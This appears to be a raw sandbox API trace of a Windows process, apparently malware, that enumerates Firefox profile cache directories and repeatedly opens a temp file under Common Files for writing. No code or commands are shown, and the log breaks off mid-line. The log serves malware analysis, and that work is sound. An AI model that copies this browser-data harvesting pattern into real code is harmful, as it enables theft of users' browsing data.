lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0129.518] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0129.518] GetLastError () returned 0x12 [0129.518] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.518] GetLastError () returned 0x12 [0129.518] AreFileApisANSI () returned 1 [0129.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.518] GetFileType (hFile=0x198) returned 0x1 [0129.519] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.564] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.564] GetLastError () returned 0x12 [0129.564] AreFileApisANSI () returned 1 [0129.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.564] GetFileType (hFile=0x198) returned 0x1 [0129.564] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.611] AreFileApisANSI () returned 1 [0129.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0129.611] GetFileType (hFile=0x19c) returned 0x1 [0129.611] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0129.657] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0129.658] GetLastError () returned 0x12 [0129.658] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.658] GetLastError () returned 0x12 [0129.658] AreFileApisANSI () returned 1 [0129.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.658] GetFileType (hFile=0x198) returned 0x1 [0129.658] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.659] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.659] GetLastError () returned 0x12 [0129.659] AreFileApisANSI () returned 1 [0129.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.659] GetFileType (hFile=0x198) returned 0x1 [0129.659] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.706] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.706] GetLastError () returned 0x12 [0129.706] AreFileApisANSI () returned 1 [0129.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.707] GetFileType (hFile=0x198) returned 0x1 [0129.707] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.707] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.707] GetLastError () returned 0x12 [0129.707] AreFileApisANSI () returned 1 [0129.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.707] GetFileType (hFile=0x198) returned 0x1 [0129.708] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.751] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.751] GetLastError () returned 0x12 [0129.751] AreFileApisANSI () returned 1 [0129.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.751] GetFileType (hFile=0x198) returned 0x1 [0129.752] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.752] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.752] GetLastError () returned 0x12 [0129.752] AreFileApisANSI () returned 1 [0129.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.752] GetFileType (hFile=0x198) returned 0x1 [0129.752] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.799] AreFileApisANSI () returned 1 [0129.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0129.799] GetFileType (hFile=0x19c) returned 0x1 [0129.799] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0129.800] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0129.800] GetLastError () returned 0x12 [0129.800] AreFileApisANSI () returned 1 [0129.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0129.800] GetFileType (hFile=0x19c) returned 0x1 [0129.800] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d58af0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0129.800] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0129.801] GetLastError () returned 0x12 [0129.801] AreFileApisANSI () returned 1 [0129.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0129.801] GetFileType (hFile=0x19c) returned 0x1 [0129.801] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0129.801] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0129.801] GetLastError () returned 0x12 [0129.801] AreFileApisANSI () returned 1 [0129.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0129.802] GetFileType (hFile=0x19c) returned 0x1 [0129.802] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0129.844] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0129.844] GetLastError () returned 0x12 [0129.844] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.844] GetLastError () returned 0x12 [0129.844] AreFileApisANSI () returned 1 [0129.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.845] GetFileType (hFile=0x198) returned 0x1 [0129.845] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.845] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.845] GetLastError () returned 0x12 [0129.845] AreFileApisANSI () returned 1 [0129.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.846] GetFileType (hFile=0x198) returned 0x1 [0129.846] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.891] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.891] GetLastError () returned 0x12 [0129.891] AreFileApisANSI () returned 1 [0129.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.892] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.892] GetFileType (hFile=0x198) returned 0x1 [0129.892] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.892] AreFileApisANSI () returned 1 [0129.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.892] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0129.892] GetFileType (hFile=0x19c) returned 0x1 [0129.892] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0129.893] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0129.893] GetLastError () returned 0x12 [0129.893] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.893] GetLastError () returned 0x12 [0129.893] AreFileApisANSI () returned 1 [0129.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.893] GetFileType (hFile=0x198) returned 0x1 [0129.893] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 